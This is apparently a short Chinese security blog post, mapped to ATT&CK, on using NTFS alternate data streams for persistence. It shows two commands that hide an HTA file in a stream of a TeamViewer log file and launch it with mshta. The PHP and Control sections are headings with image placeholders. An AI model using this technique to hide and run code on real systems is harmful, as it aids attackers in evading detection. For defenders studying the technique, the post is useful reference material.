维权访问-ADS数据流

发表于2018-01-17|更新于2022-11-25|ATT&CK

|阅读量:

TeamViewer13

1
2
3

C :\>type :\temp\helloworld.hta >"C :\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
C :\>mshta"c :\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"

enter description here

2.PHP

未寄宿可以执行
enter description here

删除文件
enter description here

删除文件—-寄宿数据流成功，并可以运行
enter description here

3.Control

enter description here

链接资料：https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

https://twitter.com/bohops/status/954466315913310209

文章作者: Demon

文章链接: https://www.ggsec.cn/APT.html

windows ATT&CK